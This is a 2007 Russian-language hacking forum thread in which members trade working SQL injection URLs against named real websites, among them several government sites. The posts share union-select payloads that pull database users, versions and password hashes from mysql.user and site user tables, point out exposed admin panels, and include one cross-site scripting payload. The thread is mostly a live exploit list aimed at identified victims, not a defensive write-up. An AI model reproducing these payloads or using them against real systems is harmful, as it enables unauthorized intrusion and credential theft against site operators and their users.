SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    Code:
    http://[SIZE=4][COLOR=Green]www.quintum.com[/COLOR][/SIZE]/news/press.html?id=490%20union%20select%201,2,user,4,5,6,7,8,9,10%20from%20mysql.user%20limit%200,1/*
     
    #2421 kair, 6 Jun 2007
    Last edited: 6 Jun 2007
    1 person likes this.
  2. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,773
    Likes Received:
    1,216
    Reputations:
    704
    Code:
    http://www.artiks.ru/1c_info.php?group_id=72+and+1=1/*
    Дальше не пробовал. Мало времени.
     
  3. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
    http://www.tam.ca.gov

    Code:
    http://www.tam.ca.gov/view.php?id=-1+union+select+1,2,version(),4
     
    1 person likes this.
  4. _GaLs_

    _GaLs_ Elder - Старейшина

    Joined:
    21 Apr 2006
    Messages:
    432
    Likes Received:
    251
    Reputations:
    48
    _http://galagraphics.kz/portfolio.php?id=11+union+select+1,2,3,4,5,6,7,8,9,0/*
    _http://www.emercomrb.bashnet.ru/risla/index.php?p=-1243+union+select+1,password,3,4+from+mysql.user/*
    _http://www.rudtp.ru/articles.php?id=+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*
    _http://www.fhr.ru/news_vishaya/?id='+union+select+1,2,user(),4,5/*
     
    #2424 _GaLs_, 6 Jun 2007
    Last edited: 6 Jun 2007
    1 person likes this.
  5. alextoun

    alextoun Вылет с Трассы

    Joined:
    7 May 2006
    Messages:
    563
    Likes Received:
    216
    Reputations:
    96
    узер Uwww3239S@localhost
    имя udb3239
    версия 4.1.21
    http://www.pbaconsult.com/admin/ админка
    блин 4-ая база, чё то не получается юзеров найти
     
    #2425 alextoun, 6 Jun 2007
    Last edited: 6 Jun 2007
  6. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    onami.us
    Code:
    http://www.onami.us/events/event.php?id=-1+union+select+1,2,3,4,5,6/*
     
  7. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Cкульщики на ачате работаю только через Антибоян
    Code:
    http://www.mycow.eu/article.php?id=528+union+select+1,2,user(),4,5,version(),database()/*
    Code:
    http://www.articles.5mm.eu/index.php?id=-160+union+select+1,2,3,4/*
     
  8. alextoun

    alextoun Вылет с Трассы

    Joined:
    7 May 2006
    Messages:
    563
    Likes Received:
    216
    Reputations:
    96
    профайл
    http://www.propovednik.ru/admin.php
    админка
     
  9. _GaLs_

    _GaLs_ Elder - Старейшина

    Joined:
    21 Apr 2006
    Messages:
    432
    Likes Received:
    251
    Reputations:
    48
    _http://www.marumi-filter.ru/shop/?id=userid='
    _http://www.avia.ru/safety/?id=+union+select+1,2,3,4,5,6,7,8,9,0,1/*
    _http://www.akademokna.ru/pages.php?id='+union+select+1,2,3,4,5,5,6,7,8,9,0,1,2,3,4,5/*
     
  10. CRL

    CRL Elder - Старейшина

    Joined:
    21 Oct 2006
    Messages:
    47
    Likes Received:
    102
    Reputations:
    12
    Но ведь столбцы то не подобранны как бы... Ни в третей, ни во второй.
     
    #2430 CRL, 7 Jun 2007
    Last edited: 7 Jun 2007
  11. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,325
    Likes Received:
    1,194
    Reputations:
    252
    Мм.....где ты подобрал?
    Code:
    http://www.akademokna.ru/pages.php?id=-2+union+select+1,concat_ws(char(58),user(),database(),version())/*
     
  12. alextoun

    alextoun Вылет с Трассы

    Joined:
    7 May 2006
    Messages:
    563
    Likes Received:
    216
    Reputations:
    96
    по пассам и юзерам подобрать можно т.к база 4-ой версии
     
  13. alextoun

    alextoun Вылет с Трассы

    Joined:
    7 May 2006
    Messages:
    563
    Likes Received:
    216
    Reputations:
    96
    5-ая
    кавычки фильтруются, поэтому в аски кодах название таблицы, и так же перебор по лимитам

    пассы

    юзеры
     
    1 person likes this.
  14. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,325
    Likes Received:
    1,194
    Reputations:
    252
    Code:
    http://biomolecula.ru/?page=content&id=-74+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9/*
    Code:
    http://www.impactsoft.ru/clients.php?razdel_id=1+union+select+1,AES_DECRYPT(AES_ENCRYPT(convert(concat_ws(0x3a,version(),database(),user())+using+cp1251),0x71),0x71),3,4,5,6,7,8,9/*
     
  15. Пчел

    Пчел Member

    Joined:
    17 May 2007
    Messages:
    6
    Likes Received:
    7
    Reputations:
    0
    Code:
    http://www.cebucity.gov.ph/?pageno=12&bac=-12345+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*

    Code:
    http://www.chubut.gov.ar/tramites/descripcion_imprimir.php?id=-12345+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
     
  16. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Code:
    http://ethology.ru/humor/?id=-1+union+select+1,2,3,version(),5/*
    Code:
    http://happyland.ru/brands.php?id=-2+union+select+1,version(),3,'<script>alert()</script>',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*
     
  17. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Code:
    http://www.kaosweaver.com/extensions/details.php?id=1+and+ascii(lower(substring(version(),1,1)))=0x34/*
    MySQL 4.x
    лень подбирать столбцы
     
  18. alextoun

    alextoun Вылет с Трассы

    Joined:
    7 May 2006
    Messages:
    563
    Likes Received:
    216
    Reputations:
    96
    ща покопаю её
     
  19. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    vcam.ru
    Code:
    http://vcam.ru/index.php?id=-1+union+select+user()/*
     
    1 person likes this.
  20. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    Code:
    http://[SIZE=4][COLOR=Blue]www.recyclemetals.org[/COLOR][/SIZE]/news_archive_item.php?id=430%20union%20select%201,ID,3,4,5,6%20from%20bmra_users/*
     
    1 person likes this.
Loading...
Thread Status:
Not open for further replies.